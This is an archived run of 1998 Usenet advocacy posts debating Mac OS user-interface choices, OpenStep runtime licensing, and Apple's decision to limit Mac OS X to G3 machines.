For that matter, why is Apple faulted for not accepting new behaviors from
other OSes? Other OSes haven't implemented all of Apple's advancements!
> Other OSes
> have implemented features that were not present in the Mac OS and are done
> better than the Mac OS does them now. In short they have caught up in a
> lot of ways and in other ways surpassed Apple.
Again, please cite specific examples.
> There were and still are
> serious flaws to the Mac OS. Some of the things Apple did to adress them
> do not go far enough to even catch up again much less take the lead. Other
> things Apple still has not addressed. Very little of what Apple is adding
> to the Mac OS now is new to the computer industry.
And? Very little of what MOST companies add to their OS is new to the
computer industry! There aren't that many totally-new OS concepts out there
recently! Can you name one totally-new OS concept that, for example,
Microsoft put into Windows? Or NeXT?
> Some other OS has
> implemented nearly all of it. Stagnation is the wrong word for how the Mac
> OS has advanced since it _has_ advanced. Perhaps relative stagnation would
> better express what I mean. The advancements have been in an effort to
> keep up and have not done a very good job.
Yes, the lead between the Mac OS and other OSes will never be as great as
when the Mac was introduced and all other OSes were using text-based
interfaces. This is a simple fact. Until a new paradigm shift comes around,
that's the way it will be. However, Apple IS making advancements (in an
effort to keep up, just like every other company), and they HAVE done a
good job. Now, maybe they've been slow in adopting other companies'
features, like contextual menus or Cmd-Tab application switching, but these
are, again, not groundbreaking advancements.
In fact, I applaud Apple for not standardizing every "OS feature of the
week," since some of them simply aren't that useful, and are really just
gimmicks. Hey, let third-party developers make extensions that implement
these features! What's the problem with that? You can't just add something
in because it's new. Believe me, Apple could have bought out 100 small
developers and put all of their features into the Mac OS, but then the OS
would be needlessly cluttered, and probably half of those features would go
unused by most people.
> > > Because Apple doesn't even seem to be doing that. We certainly have gotten
> > > a lot of incremental updates, but the serious flaws in the UI have still
> > > not been addressed.
> >
> > Again, the flaws that you have addressed, aside from the menu issue, seem
> > to all be incremental changes themselves.
>
> That's fine sometimes that's all it takes. I would like a revolutionary
> new behavior, but barring that I will take an incremental improvement. I
> do not want the same old flawed behavior.
Apple has been making incremental improvements. Thank you for acknowledging
that.
> > For example, there is
> > now a proxy icon in the title bar of open folders. This icon allows you to
> > manipulate the folder even when it is open (and the regular icon is not
> > visible). This metaphor could be (and I believe, will be) extended to
> > documents, so that you can drag and drop the icon to save a file instead of
> > having to select "Save" from the menu bar.
>
> That is certainly an interesting and useful change.
>
> > Now, will you withdraw your comment that no significant UI changes are
> > being made?
>
> Yes.
Thank you.
> Fewer significant changes to the UI are being made than would allow Apple
> to _greatly_ surpass other OSes that would make the Mac UI the best in the
> world _and_ a good UI.
Oh come on! The Mac OS IS a good UI! You can't even give it that much? No,
it's not a perfect UI, but it is still a good UI! Are you so jaded that
every single minor flaw you can pick out has to be fixed before you'll even
accept a UI as "good"? That's ridiculous.
> Right now, I believe they are all bad. The Mac UI
> just has the distinction of being the best of the bad. That's not a
> particularly flattering distinction.
Fine. You go ahead and believe that every UI is bad, while the rest of us
enjoy our user interfaces and the productivity they provide. Personally, I
think that Apple, NeXT (now Apple), and Sun all have good UIs. Even
Microsoft is pretty good, if you're not as discerning. But calling all of
those UIs "bad" seems petty and unreasonable. You drag a disk to the Trash
to eject it, so it's a bad UI? You have a menu bar that wastes 1% of the
pixels on the screen, so it's a bad UI? I guess people will always find
something to complain about.
> > > Look at the screen shots of pre-release versions of Mac OS 8.5 that are up
> > > in various places on the internet. There are a few needed changes, but a
> > > lot of the flaws are still there.
> >
> > Again, besides the menu bar (which is up for debate) and the Trash Can
> > thing (which is only confusing for the most novice users), your stated
> > flaws are minor.
>
> You dismiss the "Trash Can thing" too quickly. The user should not have to
> modify his behavior or have to spend time learning a behavior because of
> some quirk of the OS when it could be done to be immediately intuitive and
> quick.
And you spend too much time overanalyzing a graphical shortcut! How do you
make an alias to a file, or get info, or create a new folder? You select
the item, then make a menu selection or use a command-key shortcut. And
that is the EXACT SAME WAY THAT YOU EJECT A DISK! You select the disk (by
clicking), and then select the Eject menu item! Or you can select the disk,
and then use Cmd-E to eject it! This is the normal, default behavior! The
shortcut of dragging a disk to the trash is just that: a shortcut. No new
behavior needs to be learned to eject a disk! It is just a graphical
shortcut that is, unfortunately, confusing to some new users. However, it
does not ever NEED to be used! Can you understand that?
> I would like to see a more obvious indication of the foreground
> application. The current application menu does not go nearly far enough.
Well, if there are no windows currently open for that application, then no,
it won't be obvious that it's running if you're selected another program.
But with a good VM system (which I admit that Apple does not have yet),
this is not a problem. The open application won't take up any more memory,
since it's all virtual anyway, and it won't bother anyone in the
background, so it's not really a problem.
> The new menu in Mac OS 8.5 does better, but is still not enough. This is
> an issue that bites a lot of people and even gets me occaisionally.
Tell me, how have you gotten "bitten" by this? How is having an extra
application a problem, except in low-memory situations?
> The file system type handling is not a minor issue. I have been annoyed by
> this many times before as have many other Mac users. Just because I can
> use ResEdit to fix the issue does not mean that there is a no serious
> problem. Windows is worse, but that's no excuse for the Mac OS.
Again, that's only a problem with files downloaded from the internet. If
you want to open a file with a particular application, just drag it onto
the icon, or open it from within the application. If it can open it, it
will, regardless of file type.
> There are more that aren't coming to me right now.
Well, the ones you have listed so far seem minor at best.
> The Mac OS is far from perfect.
I agree wholeheartedly. However, it is still good.
Andy Bates.
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.next.advocacy
Subject: Re: OpenStep Enterprise Deployment License - Outrageous
Date: 24 Jul 1998 18:53:28 GMT
Organization: P & L Systems
Message-ID: <6pal78$fpq$6@ironhorse.plsys.co.uk>
References: <35B7734D.DDDCC862@alum.mit.edu> <35b77df2.0@news.depaul.edu>
<35B780CB.4BC40804@alum.mit.edu> <TWUt1.6898$7k7.8660942@news.rdc1.sdca.home.com>
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Cc: rr6013@yahoo.com
In <TWUt1.6898$7k7.8660942@news.rdc1.sdca.home.com> rr6013@yahoo.com wrote:
> In <35B780CB.4BC40804@alum.mit.edu> Eric Hermanson wrote:
> > Jonathan W Hendry wrote:
> >
> > > You're assuming, erroneously, that the entire license fee is due
> > > to EOF. There's no reason to assume this is the case.
>
I haven't seen any other messages in this thread, so I'll have to guess the
context...
I'm sure the license fee for OSE yesterday and today is high because that's
where NeXT anticipated making money. OPENSTEP Mach was being deprecated, and
there was no way that NeXT could survive on revenues from sales of dev tools
alone. Hence they wanted to charge a high price for the runtimes, targetted
at a small market that could justify the cost.
I believe Apple, which has revenue streams elsewhere, will deliver on its
promise of runtimes in the $20/seat range in the not-too-distant future. I
suspect that the majority of the cost then will be due to licensing fees for
DPS.
I also believe that when MacOS X ships (not the server version, the "real"
MacOS X), the YB runtimes for Windows will be free as there will no longer be
any license due to Adobe.
> OpenStep customers that want to ship end-user, mass-market applications
> built with AppKit probably don't want EOF. That was my basic point.
>
You can't necessarily divorce EOF from mass-market applications -- Mesa, for
example, includes EOF to enable cell values in the spreadsheet to be obtained
from a database...
Best wishes,
mmalc.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 11:23:22 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2407981123220001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news> <6p9kns$gi29@Talisker.taide.net>
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In article <6p9kns$gi29@Talisker.taide.net>, malte@oops.se (Malte Tancred)
wrote:
> In article <andyba-ya02408000R2307981327300001@news>,
> Andy Bates <andyba@corp.webtv.net> wrote:
> >
> >Why not? Databases are files! They may be dynamically-linked relational
> >databases, but they are still files!
>
> I didn't say a database driven application does _not_ have the
> concept of a file. I said that it _might_ not have it.
And I said that ANY database application WILL have the concept of a file.
> >Again, could you give me an example of something that you would print that
> >is NOT file-related?
>
> What if you want to print something else in the application besides
> "one of the opened files"? Every application doesn't use _a_ file or
> _a_ document as the base of its UI design. I'm not talking of files on
> a filesystem level, I'm talking application design.
Anything that you can print, whether it is "one of the opened files" or
not, is itself a file.
> I find that an enterprise model is seldom viewed upon as a single
> file, a single entity. Instead you have to design an application
> that can display and manipulate the data based on where it belongs in
> model. In my opinion, quite different from a file based application.
But that collection of data is still conceptually a file. You can save that
collection of data, and you can print it. It is still a file, even if you
never choose to save it.
> And, you may still want to print the data your application displays.
Then it's a file.
> Hope this made my point of view a bit clearer.
Yes, it did. I still think we disagree, but thank you for taking the time
to further explain your position.
Andy Bates.
From: andyba@corp.webtv.net (Andy Bates)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Re: Mac OS X UI
Date: Fri, 24 Jul 1998 11:18:46 -0700
Organization: WebTV Networks
Message-ID: <andyba-ya02408000R2407981118460001@news>
References: <6odtu6$lh3$5@lwnws01.ne.highway1.com> <andyba-ya02408000R2207981149400001@news> <6p6qnj$fs21@Talisker.taide.net> <andyba-ya02408000R2307981327300001@news> <6p9ib1$64r$1@bartlet.df.lth.se>
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In article <6p9ib1$64r$1@bartlet.df.lth.se>, cb@bartlet.df.lth.se
(Christian Brunschen) wrote:
> In article <andyba-ya02408000R2307981327300001@news>,
> Andy Bates <andyba@corp.webtv.net> wrote:
> >In article <6p6qnj$fs21@Talisker.taide.net>, malte@oops.se (Malte Tancred)
> >wrote:
> >>
> >> Your argument is in most cases good for a file based application,
> >> but take a database application for example. It might not have the
> >> concept of a file.
> >
> >Why not? Databases are files! They may be dynamically-linked relational
> >databases, but they are still files!
>
> Umm, you might have a view of a database, which is in fact the result of a
> search through several other databases; also, one database often consists
> of several files; there is no one-to-one mapping between 'database' and
> 'file'.
Ah, I never said that there had to be a one-to-one mapping between a
database and a file. But you said that "a database application...might not
have the concept of a file." Even a database that has a view from several
files, or contains data from several files, still has the concept of a
"file," and hence would still have a File menu...which was my original
point. And even a view that contains data from several other files is
conceptually a "file," even if you never choose to save it to disk.
Therefore, printing that view would be a File operation.
> So, saying 'Databases are still files' is in fact something which
> I find not very well supported in fact.
You mistaken believe that a file can not consist of data from other files.
> More to the point, an Oracle
> database can run without any files at all, using a raw disk partition
> instead - no files in sight.
There are two ways to view this: one, that the entire disk partition is, in
itself, a file. Remember, a file is conceptually just a collection of data.
Two, once the data from the raw disk partition is read into the Oracle
database, that data is stored is a conceptual element that could be saved
to another disk. And that element is--surprise!--a file. Therefore,
printing that data would also be a File operation.
> >I agree that it is good. However, I do not agree that every element of the
> >NeXT UI is necessarily better than every element of every other UI.
>
> This is, of course, true. However, The direction that the MacOS X Server
> GUI is taking is in a more-or-less thorough removal of almost all
> NeXTisms, replacing them with MacOS GUI elements. The most striking
> example of this is obviously the menu bar; There are people who prefer the
> movable Vertical-menu-as-a-window a la NeXT, and who can even offer valid
> reasons for this (ie, reasons why _for them_, a NeXT-style menu is
> superior to a MacOS-style menu bar), yet their concerns seem to be largely
> ignored. Even in those instances where it would be possible to offer a
> selection between the two UI styles, this is not done, to the detriment of
> many who prefer (some of) the NeXTisms to MacOSisms.
I believe that we can not say absolutely that NeXT elements are being
discarded for Mac elements until the final OS comes out. It is possible
that Themes will have the capability to modify things like the location of
the scrollbar, for example. I am not sure what Apple is doing about the
menu issue, though.
And also, there is evidence that what people BELIEVE is a superior UI for
them is not always what IS a superior UI for them.
> No, 'Hide' would also be under the Application category;
Ah, but isn't hiding a particular application an OS function, not an
application? The application doesn't hide itself; the OS hides it.
Therefore it should be (and presently is) under the OS-wide
application-handling menu.
> Also, I never 'Quit' a File, so placing 'Quit' under 'File' is
> semantically _wrong_. I may Open or Close a File, I may Open or Close a
> Window ... but I don't Quit a File.
I know, I know...but again, as the only entry that should go under the
proposed "Application" menu, I can accept that it can go under File for
simplicity's sake. No, it is not literally, semantically correct, but since
all of the other major application functions go under the File menu, Quit
should as well.
> >> Regarding the "Print" operation, I'll refer to my comment above.
> >> Printing doesn't neccessary have to do with a document or a file,
> >> which makes it fit nice at the root level.
> >
> >Again, could you give me an example of something that you would print that
> >is NOT file-related?
>
> Printing the contents of the Application's About... Panel, for instance?
The About... panel is a specific type of file. Therefore, when you select
Print, you are printing that file.
> Or, for that matter, printing any information resulting from a
> calculation?
I would assume that you could also save the result from a calculation, so
that information is also conceptually a file, even though you may choose to
discard it after printing.
> Say you have an application that lets you type an equation,
> and draws the corresponding graph. It also lets you print the graph. No
> Files in sight.
Could you save the graph to disk? Yep. It's a file.
Andy Bates.
Newsgroups: comp.sys.mac.advocacy,comp.os.ms-windows.advocacy,comp.sys.next.advocacy
Subject: cancel <1dcmane.hm0sis11p1uccN@dialup242-2-41.swipnet.se>
From: lars.farm@ite.mh.se (Lars Farm)
Control: cancel <1dcmane.hm0sis11p1uccN@dialup242-2-41.swipnet.se>
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Organization: pv
Date: Fri, 24 Jul 1998 13:52:04 GMT
NNTP-Posting-Date: Fri, 24 Jul 1998 15:52:04 MET DST
Article cancelled by its poster.
From: rr6013@yahoo.com
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
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References: <gmgraves-1707981555060001@sf-usr1-21-149.dialup.slip.net> <tbrown-1707982135270001@mv099.axom.com>
<35B19951.CFB0631F@cloud9.net> <joe.ragosta-1907980715010001@elk55.dol.net>
<6otqmo$s04$3@hecate.umd.edu> <joe.ragosta-2007980638300001@elk43.dol.net>
<6p51vm$k5l$1@hecate.umd.edu> <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net>
<joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu>
<gmgraves-2207982342130001@sf-usr1-9-137.dialup.slip.net> <joe.ragosta-2307981259010001@wil73.dol.net>
<6p85g8$g4q$1@news01.deltanet.com> <gmgraves-2407981223510001@sf-usr1-3-131.dialup.slip.net>
<35B8E397.FEE5AE46@ericsson.com> <gmgraves-2407981728080001@sf-usr1-29-157.dialup.slip.net>
Message-ID: <mVbu1.7093$7k7.9184816@news.rdc1.sdca.home.com>
Date: Sat, 25 Jul 1998 03:02:42 GMT
NNTP-Posting-Date: Fri, 24 Jul 1998 20:02:42 PDT
Organization: @Home Network
In <gmgraves-2407981728080001@sf-usr1-29-157.dialup.slip.net> George Graves
wrote:
>
> There is nothing about Windows which is as good as the Mac, its just better
> marketed.
>
>
Whew... jingoistic chauvinism? At a minimum, such rhetoric exposes the depth
of your Windows experience and knowledge across both platforms. Really? 90
million Windows users are mere suckers for marketing? Your analysis presages
one big marketing campaign for Apple to succeed.
-r
Rex Riley
From: see-below@not-my-address.com (Matthew Vaughan)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 20:23:31 -0700
Message-ID: <see-below-2407982023320001@dynamic57.pm05.mv.best.com>
References: <rmcassid-1307981232230001@dante.eng.uci.edu> <B1CFE637-1A286@206.165.43.144> <6oe63d$2r6$1@vixen.cso.uiuc.edu> <Jonas.Palm-1507981217060001@jp.orgk1.dial.lu.se> <6ot3cc$n4h$4@ironhorse.plsys.co.uk> <Jonas.Palm-2007981316580001@jp.orgk1.dial.lu.se> <MPG.101d0026256527109899cd@news.supernews.com> <kewldoc-2107981400410001@42.0.17.176.203.in-addr.arpa> <6parvv$7jf$1@hiram.io.com>
In article <6parvv$7jf$1@hiram.io.com>, Jeff Walther
<trag@pentagon.io.com> wrote:
> The formula for Apple's success has always been to offer better machines
> at good prices. The G3 power macs are good machines and they're priced
> nicely. Surprise! They're wildly successful. Most of the Performa
> models that Apple offered were garbage. They didn't sell well. I
> don't think the problem was the confusing array of models. I don't think
> the buying public was as stupid as Apple thinks. I think they were
> smart. Apple's affordable models were flawed. They had slow busses
> or narrow busses or lousy video or no expansion options on a machine
> that was already stripped to the bone.
Yup. That's exactly why so many people bought clones. I didn't even
consider a Performa, but was looking at the 7200. But it was pretty slow,
and there was _no way_ I was going to buy a computer with a
non-upgradeable processor. (even today I'll save well over $500 by
upgrading my current machine as opposed to selling it and buying a new
one.) So it became a choice between the a Power Center 120 and Apple's
7600--with the 7600 costing dramatically more ($3000 vs $2000) for
virtually no benefit (mainly video features I would probalby never use).
> What scares me about the appearance of Job's current policies is that
> it makes it easy for Apple to return to those former days when they
> offered us a bunch of affordable lousy models, or one really super
> expensive but decent model, and we had to pick one, or run a truly
> inferior OS. The first step on the path to returning to those days
> is to abandon all of the truly flexible and expandable machines Apple
> and the cloners sold us over the last couple of years.
Yup. Killing cloning was just the first step. Killing MacOS X support for
clone-era machines (even from Apple) is the second step (combined with the
introduction of barely-expandable machines like the iMac). It makes me
kind of scared what the third and succeeding steps will be. Everyone
remembers the original Macintosh, and how it was horribly stunted at Steve
Jobs's insistence. Well, I've seen the same thinking in Apple's current
direction ever since SJ came back on board. It's certainly making money
for them, and it certainly provides decently-performing machines at fairly
decent prices for your "average" Mac user. But it also involves a lot of
marketing hype to try to convince us that what Apple is selling is what we
really want, when that's not necessarily the case at all. For instance, I
certainly don't want a G3 PowerMac--it's got nothing I don't already have
or can't get for much less, except for its higher bus speed.
....................................................
MATTHEW VAUGHAN
matthewv at best dot com (damn spammers...)
http://www.best.com/~matthewv/
....................................................
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: xRe: OS X: Installed base of only 750,000 G3 systems?
Date: 25 Jul 1998 03:06:02 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pbi2q$mbd@newsb.netnews.att.com>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <not-2307981605420001@ip-26-117.phx.primenet.com> <see-below-2307982247510001@dynamic18.pm10.mv.best.com> <MPG.1022d9c818b298639899f2@news.supernews.com>
Originator: gupta@tlctest
Apple's decision not to support the newer 604e machines
beyond Rhapsody stinks. For the older machines, however, my
opinion is that since this generation of G3s is 8-10 times faster
than the original 6100/60 601 machine, and the next generation,
supposedly coming in the September time frame will be faster yet,
and not as expensive as the original 6100,7100 machines,
and we can expect more speed by the time MacOS X is released,
if it is not a compelling upgrade for those users, business-wise
Apple doesn't have much to gain by trying to cater to them.
(Also remember, Altivec should be available by the time MacOS X ships).
Especially, if the argument is that the MacOS makes you more
productive, I think the order-of-magnitude faster machine makes
you more productive (and I don't mean just a factor of 2 here).
Especially if MacOS X is going to be as good as the hype, and
if it is bundled with the machine, it is going to be an extremely
productive platform. I do sympathize with those on tight budgets,
but by the time MacOS X ships, Apple should have a $700 or less
very decent iMac-class machine.
-arun gupta
From: gupta@kcopsrm.tm.tta.moc-mirror after @
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 03:09:58 GMT
Organization: IMEMYSELF
Sender: Arun Gupta
Message-ID: <6pbia6$mbj@newsb.netnews.att.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net> <35B8F293.F58D0926@ericsson.com>
Originator: gupta@tlctest
Michael Peck <Michael.Peck@ericsson.com> wrote:
>
>Hey, does BeOS run on the G3, yet? Oh, so sorry. Thanks for playing.
>
>From the Be PowerPC FAQ:
>
>No, the BeOS is not compatible with Apple's "G3"
>systems. We have requested from Apple the detailed
>technical specifications we would need to provide
>support for these systems, and Apple has declined
>our requests. This information, concerning the design
>of the logicboard, is available only from Apple.
>Without this technical information, it is impossible
>for us to support the new hardware.
I haven't tried it, but doesn't PPC-Linux run on the G3s ?
Since that is open-source code, I would imagine that what
you need to know to run an OS on the G3 machines is in the
public domain.
-arun gupta
From: "Ed Deans." <eadeans@san.rr.com>
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy
Subject: Q: OOE - Compound Document Standard
Message-ID: <mscu1.66997$E5.9893250@proxye1.san.rr.com>
Date: Sat, 25 Jul 1998 03:40:02 GMT
NNTP-Posting-Date: Fri, 24 Jul 1998 20:40:02 PDT
Organization: TWC Road Runner, San Diego, CA
Hello,
In another thread I mis-recalled Xanthus home-grown technology as being just
a drag/drop solution. It turned out to be a compound document standard
dubbed OOE.
I noticed OOE compliant apps include(d) Tailor (PS editor), Questor (Xanthus
spreadsheet), Tiffany II (Caffeine's so-called Photoshop killer), Graphity
(charting from Xanthus), EquationBuilder (Ditital Tool Work's equation
editor), OpenWrite (Xanthus word processor), Draw++ (from Xanthus?) and
Yap++ (also from Xanthus?).
Since Xanthus was bought by Lighthouse, which was in turn acquired by Sun
and Sun seems to have little visible interest in end-user Mac OS X
applications development, what will be the compound document standard for
Mac OS X.
What happened with OOE? What were its pro's and con's?
How did it compare, as a compound document standard, with OLE and OpenDoc?
What are some better solutions?
--Ed.
Not familiar with Xanthus' solution.
From: Kristofer Jon Magnusson <kris@xmission.xmission.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.sys.mac.system
Subject: Re: Apple heading to obscurity?
Date: 25 Jul 1998 03:51:30 GMT
Organization: XMission Internet http://www.xmission.com
Message-ID: <6pbko2$jvn$1@news.xmission.com>
References: <gmgraves-2207981543400001@sf-pm5-19-83.dialup.slip.net> <joe.ragosta-2207981937230001@elk80.dol.net> <6p5vfm$mo1$1@hecate.umd.edu> <pxpst2-2307980845390001@pelli.pathology.pitt.edu> <6p7leg$al7$6@hecate.umd.edu> <joe.ragosta-2307982201500001@elk97.dol.net> <6p952e$nl4$1@bunyip.cc.uq.edu.au> <joe.ragosta-2407980806200001@wil49.dol.net> <35B88EBF.3BC076E0@nstar.net> <Pine.NXT.3.96.980724125137.20132J-100000@pathos> <35B8D9F4.D6C93C1@ericsson.com> <joe.ragosta-2407981626250001@wil51.dol.net>
NNTP-Posting-Date: 25 Jul 1998 03:51:30 GMT
In comp.sys.next.advocacy Joe Ragosta <joe.ragosta@dol.net> wrote:
> Novell dropped Netware for PPC.
> APPLE HAD NOTHING TO DO WITH [Novell dropping the PPC arch.]
You don't know what you are talking about.
.............kris
--
Kristofer Jon Magnusson <kris@xmission.com>
"NASA and its partners have identified vacuum
as a major attribute of space."
From: mcox@ihug.co.nz (Martin Cox)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Sat, 25 Jul 1998 16:04:51 +1200
Organization: As little as possible.
Message-ID: <mcox-ya02408000R2507981604510001@newsource.ihug.co.nz>
References: <joe.ragosta-2007982116060001@elk57.dol.net> <MPG.101f2d847d70bf3c9899dc@news.supernews.com> <mcox-ya02408000R2207981824140001@newsource.ihug.co.nz> <not-2207981037460001@ip-26-093.phx.primenet.com> <mcox-ya02408000R2307980710510001@newsource.ihug.co.nz> <not-2307981301280001@ip-167-019.phx.primenet.com> <mcox-ya02408000R2407982314330001@newsource.ihug.co.nz> <not-2407981312520001@ip-26-162.phx.primenet.com> <mcox-ya02408000R2507981113400001@newsource.ihug.co.nz> <35b9372a.0@news.depaul.edu>
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In article <35b9372a.0@news.depaul.edu>, Jonathan W Hendry
<jhendry@shrike.depaul.edu> wrote:
>Testing is only part of the battle. After testing comes fixing, and
>that means programming, which doesn't respond well to throwing
>bodies at it.
True. However, nobody (not even Apple) knows how much tweaking OS X would
take to run on PCI Power Macs.
It may well be a minimal exercise - it may well be an enormous task that is
Herculean. That's the point - nobody knows and yet Apple has made its
decision without proper investigation. At least, that's how their PR comes
across, and that's what a lot of 7x00+ series machine owners are upset
about.
If Apple takes a serious look, and comes back and says "Look, there's no
way we can get OS X running on a G3 equipped 9600 because the widget and
sprocket interface don't connect to the fandoogle port" then maybe we'd be
somewhat happier.
If Apple came back and said "Look, these G9 machines we're shipping in six
months are going to make those G3 equipped 9600's look like Mac Classics"
then _maybe_ we'd be happier. Current and projected G3 machines from Apple
just don't contain the increase in hardware specs to warrant tossing a 9600
that is equal to them.
>For businesses, at least, upgrade normally means replace.
Not for the machines we're talking about. Their existance is heavily in
place _because_ of their ability to be easily and relatively cheaply
upgraded.
>Not shipping OS/X in time would be much, much worse news than not
>supporting pre-G3's.
Depends how long after it actually ships. If it slips a month or two no-one
will be overly concerned - except those Apple-bashers who inhabit the
media.
If it slips 6 months, then yes, Apple is history.
>If they're a serious business, they'll buy real G3's to run OS/X. It'll
>pay for itself pretty fast. They can keep the 9600's and use them
>to run MacOS X/Server.
They'll only buy G3's because they must to run OS X.
There's no other valid reason to move from a G3 9600 to a "G3". There's no
productivity gain. There's no noticable hardware improvement (bus speed is
the only real change, and that's minimal in real world performance).
If they're a serious business, they'll consider the _waste_ of existing
hardware to be unnecessary under that set of circumstances.
>If they've got all this money to spend on overpriced G3 accelerators,
>they've got money to buy G3's. Furthermore, moving to Windows would
>be a far, far worse waste of their investment.
You've missed the point. Many of these people already _have_ G3 cards. See
above.
And Wintel would be more expensive in the short run, yes (though not nearly
as much as a lot of people like to think). But if they perceive the OS X
strategy as a lack of support from Apple (and there's no doubt some will -
the only doubt is how many) then they'll consider it in their long term
interests to move.
--
Martin Cox <mcox@ihug.co.nz>
The (Incomplete) VirtualPC User's Guide <http://shell.ihug.co.nz/~mcox/vpc/>
From: Jonas.Palm@orgk1.lu.se (Jonas Palm)
Newsgroups: comp.sys.next.advocacy,comp.sys.mac.advocacy,comp.sys.mac.system
Subject: Re: '97 Mac entrant feels shafted <--but isn't
Date: Tue, 21 Jul 1998 20:57:00 +0100
Organization: University of Lund, Sweden
Message-ID: <Jonas.Palm-2107982057000001@jp.orgk1.dial.lu.se>
References: <6o0nr6$7kh$1@nnrp1.dejanews.com> <stone-ya02408000R0807982323110001@news.enetis.net> <6o5plf$2j3$1@nnrp1.dejanews.com> <stone-ya02408000R1007981831080001@news.enetis.net> <35a6c1d5.0@news.depaul.edu> <pxpst2-1107981101450001@pelli.pathology.pitt.edu> <6oacub$9q@eldborg.rhi.hi.is> <macghod-1207981131520001@sdn-ar-001casbarp253.dialsprint.net> <FIiROLCWddLd-pn2-d3vDFZHdedt1@localhost> <not-1307981532260001@2-76.phx.psn.net> <FIiROLCWddLd-pn2-hCOOtI7MTsII@localhost> <6ogco6$8ma$1@hole.sdsu.edu> <not-1407981414190001@1-58.phx.psn.net> <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se> <not-2007981004090001@ip-26-136.phx.primenet.com>
In article <not-2007981004090001@ip-26-136.phx.primenet.com>,
not@a.valid.email.add (Michael M. Eilers) wrote:
> In article <Jonas.Palm-2007981400350001@jp.orgk1.dial.lu.se>,
> Jonas.Palm@orgk1.lu.se (Jonas Palm) wrote:
>
> > 20 year + cars are a minute part of the cars in use.
> > 2 year + old macs are the vast majority of macs in use.
>
> You missed the point. A 20-year-old car is not expected to be cutting
> edge. Neither is a 2-year-old Mac (or any PC.) Mac OS X is going to be a
> *cutting edge* OS--and Apple will provide 8.5, 8.6 and 9.0 in parallel
> with OS X as an excellent (but limited) way for non-cutting-edge Macs.
>
> > If that wasn't the case the installed base of macs would be very small
> > indeed given the sales of the last two years....
>
> Yes, but see above--Apple doesn't care a rats ass for a mac over 4 years
> old--they don't even get tech support. Try to call Apple right now and ask
> them for help with your IIsi.
I don't understand what this is an argument for, even though it may be true.
Regrettably.
> One more time folks, just for fun: Mac OS X is a *cutting edge* OS. Not a
> typical user OS.
You keep saying those words over and over like some kind of mantra, and
it makes just as much sense to me.
Don't users want to be able to use the latest versions of their software?
Don't users get angry when something in their communications package
hangs, and kills the machine? Don't users....?
Get real.
Mac OS X promises and might deliver functionality that has been
hotly requested by users since just after the MultiFinder was
introduced.
Where have you been, that this comes as total news for you? I'm sure
I've seen your name on mac newsgroups before. ;-)
- Small Snip! -
>
> The ones who are serious about Macs will upgrade to G3
'Who are serious about macs...' ?
They are tools, you know, not a bleeding religion, no matter how
*cutting edge* the OS.
OS fragmentation is not only awkward from a support standpoint,
it is a pain for users as well.
JGP
From: phenix@interpath.com (John Moreno)
Newsgroups: comp.sys.mac.advocacy,comp.sys.be.advocacy,comp.sys.next.advocacy
Subject: Re: Be's had their own share of direction changes (was: Here we go again...)
Date: Fri, 24 Jul 1998 21:57:15 -0400
Organization: phenix@interpath.com
Message-ID: <1dcoivf.1604ullpng1qyN@roxboro0-038.dyn.interpath.net>
References: <35AD3399.FF0BD03D@rauland.com> <35B093FC.1AF8@REMOVE.wayne.edu> <joe.ragosta-1807981004130001@elk79.dol.net> <yVhs1.685$lg2.5923889@news.magma.ca> <6otft7$b4j$1@nntp2.ba.best.com> <6ouffm$jqs$1@news10.ispnews.com> <6ouqr3$99$1@nntp2.ba.best.com> <Pine.LNX.3.95.980720094618.8608P-100000@rainier.virtual-impact.com> <6p022p$8s1$1@news.spacelab.net> <6p1hll$f44$1@news10.ispnews.com> <6p4f9i$fpq$2@ironhorse.plsys.co.uk> <ant221458bbaLJLo@om107.acorn.co.uk>
?'D1cB]L9V=\OS(\8S,5
Mail-Copies-To: nobody
In comp.sys.next.advocacy Dave Griffiths <dgriffit@acorn.co.uk> wrote:
> In article <6p4f9i$fpq$2@ironhorse.plsys.co.uk>, mmalcolm crawford wrote:
>
> > What about any *user*? A couple of months ago I had a genuine reason for
> > opening about 150 windows in a single application. It made the task I was
> > undertaking a *lot* easier.
>
> Would you like to share that reason with us? In all my years of using
> GUI's I've never had a genuine reason for opening more than about two
> windows at a time. Curious to know what you were doing.
I don't know about Malcom, but I've opened 100+ when scripting a
browser. They weren't much as windows go (really just a status box for
each) but that wouldn't make a different.
--
John Moreno
From: Josh.McKee@cbns.com (Joshua T. McKee)
Newsgroups: comp.sys.mac.advocacy,comp.sys.mac.system,comp.sys.next.advocacy
Subject: Re: OS X: Installed base of only 750,000 G3 systems?
Date: Fri, 24 Jul 1998 20:09:13 -0600
Organization: Central Business Network Solutions
Message-ID: <Josh.McKee-2407982009140001@pm3a13.rmac.net>
